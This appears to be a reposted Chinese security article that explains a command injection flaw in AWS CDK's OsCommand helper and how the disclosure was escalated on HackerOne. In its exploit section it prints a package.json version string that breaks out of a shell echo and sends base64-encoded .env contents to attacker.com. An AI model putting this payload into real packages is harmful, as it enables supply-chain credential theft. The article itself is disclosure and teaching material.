单引号绕过实现AWSCDKRCE"

admin 2026-10-18 11:44:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

单引号绕过实现 AWSCDK RCE

kaporia
kaporia

漏洞集萃

2026年7月15日 15:50
山东

在小说阅读器读本章

去阅读

免责声明
本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。

在测试一个私有漏洞赏金计划时,我遇到了一个

作者: kaporia
原文链接: https://hackerone.com/reports/3637898

01 被标记为Informative

安全研究员 kaporia 向 AWS VDP提交了一份报告,指出 aws-cdk-lib 中的 OsCommand 内部类存在命令注入漏洞。

一天后,HackerOne 团队给出了下述回复:

\"这看起来依赖于在 lodash 版本号上附加命令……这不会影响直接使用 aws/aws-cdk 公开版本的用户。因此我们将关闭此报告,标记为 Informative。\"

02 漏洞分析

AWS CDK 的 NodejsFunction 在使用 Docker 打包 Lambda 代码时,需要一个内部辅助类 OsCommand 来构造 shell 命令。其中 write() 方法长这样:

public write(filePath: string, data: string): string {
    return `echo '${data}' > \"${filePath}\"`;
    //           ^ 没有转义 — data 中的单引号会突破命令
}

当 nodeModules 被指定的时候,CDK 会从 package.json 读取依赖版本字符串,用 JSON.stringify() 序列化后传给 writeJson()。

但是关键点在于:JSON.stringify() 不会转义单引号。所以任何一个包含单引号的版本字符串会原封不动地进入 shell 命令。

而且很搞笑的一点是——同一个文件里已经写好了正确的转义函数:P

// 已经存在,但从未被 OsCommand 调用
function posixShellEscape(arg: string): string {
    return \"'\" + arg.replace(/'/g, \"'\\\\''\") + \"'\";
}

函数就在那里,距离漏洞代码只有几十行。它只是没有被调用。

03 利用

攻击者需要在恶意 npm 包的 package.json 中,把某个依赖的版本号写成类似下述内容即可:

{
  \"dependencies\": {
    \"lodash\": \"4.17.21' && curl https://attacker.com/exfil?d=$(cat /asset-input/.env|base64) && echo '\"
  }
}

当受害者运行 cdk synth 的时候,CDK 就会把版本字符串拼进 Docker 容器内的 bash 命令。随后由单引号截断了 echo,注入的命令在容器内执行。

并且Docker 容器并不是一个孤岛,CDK 的打包流程挂载了下述两个 bind mount:

/asset-input → 宿主机项目目录(读写)

/asset-output → 宿主机 .cdk.staging 目录(读写)

这也就是说注入的命令可以直接读写宿主机的项目文件:.env、.git/config、源代码、甚至 ~/.aws/credentials。

攻击者可以窃取 AWS 凭证、篡改 Lambda 构建产物植入后门、或者直接控制整个 CI/CD 流水线。

04 为什么 --ignore-scripts 无效

一般来讲,面对恶意 npm 包,业界标准防御手段是 npm install --ignore-scripts——禁止在安装阶段执行任何脚本。

但这个漏洞巧就巧在没有发生在安装阶段。

原因很简单:漏洞发生在 cdk synth 阶段。CDK 自己在打包时读取了依赖的版本字符串,然后把它喂给了未转义的 shell 命令。

即使用户完全遵守了所有 npm 安全最佳实践,但只要安装了一个第三方包、在 NodejsFunction 中引用了它、然后运行了 cdk synth——攻击就触发了。没有任何警告,没有任何报错,静默执行。

05 从 Informative 到 High

报告被关闭后,kaporia 他继续补充了一个完整的供应链场景下的攻击 PoC。

而在其新提供新的复现场景中,开发者自己的 package.json 完全正常。开发者就只是安装了一个看起来没什么问题的第三方包 @evilcdk/analytics-helper,在 NodejsFunction 的 entry 中引用了它。

而CDK 在打包时会自动搜索 entry 文件最近的 package.json——也就是攻击者放在 node_modules 里的。所以被投毒的版本字符串随即就被读取、注入、执行

不久报告重新开启,severity 从 None 上调到 Medium。

重新评估之后,severity 定为 High (7.3)。修复在 CDK v2.260.0 中发布,CVE-2026-13760 和 AWS 安全公告于 7 月 1 日正式公开。

觉得本文内容对您有启发或帮助?
点个关注➕,获取更多深度分析与前沿资讯!

👉 往期精选

逻辑漏洞:邮箱注册 tips #11

非常用403绕过 Tips

一种利用 HTTP 重定向循环的新型 SSRF 技术

邮箱/手机验证绕过


单引号绕过实现AWSCDKRCE" 网络安全文章

单引号绕过实现AWSCDKRCE"

本文剖析AWSCDK命令注入漏洞CVE-2026-13760。因OsCommand类未转义单引号且JSON.stringify不处理该字符,攻击者可通过恶意npm包依赖版本字段注入命令。漏洞在cdksynth阶段触发,使ignore-scripts防御失效,结合Docker挂载可致宿主机凭证窃取与RCE。建议立即升级CDK至v2.260.0及以上版本。
高危预警|CVE-2026-48282AdobeColdFusion零鉴权RCE漏洞深度分析(附POC+防护方案)" 网络安全文章

高危预警|CVE-2026-48282AdobeColdFusion零鉴权RCE漏洞深度分析(附POC+防护方案)"

该漏洞为AdobeColdFusionRDS服务未授权路径遍历漏洞(CVE-2026-48282),CVSS评分10.0,可导致远程代码执行。影响ColdFusion2023及2025版本,已大规模在野利用并被勒索团伙武器化。攻击者无需认证即可通过路径穿越实现任意文件读写并植入Webshell。建议立即升级至Update21或10,或临时关闭RDS服务。
疑似APT-C-26(Lazarus)组织利用远程IT伪装部署监控程序的攻击行动分析" 网络安全文章

疑似APT-C-26(Lazarus)组织利用远程IT伪装部署监控程序的攻击行动分析"

360威胁情报中心分析发现APT-C-26(Lazarus)组织使用定制化监控程序,通过伪装成远程IT人员部署。攻击流程包括禁用Defender、释放DLL和守护进程、利用Shell扩展持久化,最终实现远程桌面监控和数据窃取。该程序具备屏幕捕获、上传和远程控制功能,使用了Vault7泄露技术,归属为Lazarus组织,可能用于渗透企业窃取敏感信息。
JS端点枚举从已知推断未知的渗透技巧" 网络安全文章

JS端点枚举从已知推断未知的渗透技巧"

本文介绍一种基于JS分析的端点枚举渗透技巧。通过正则提取已知API,分析其路径结构与驼峰命名规律,进而构造候选端点列表进行批量FUZZ。作者利用该方法成功挖掘出未授权的全站用户数据泄露接口。建议在测试中从已知接口推导未知接口并生成定制字典探测,以有效扩大攻击面发现隐藏漏洞。
评论:0   参与:  0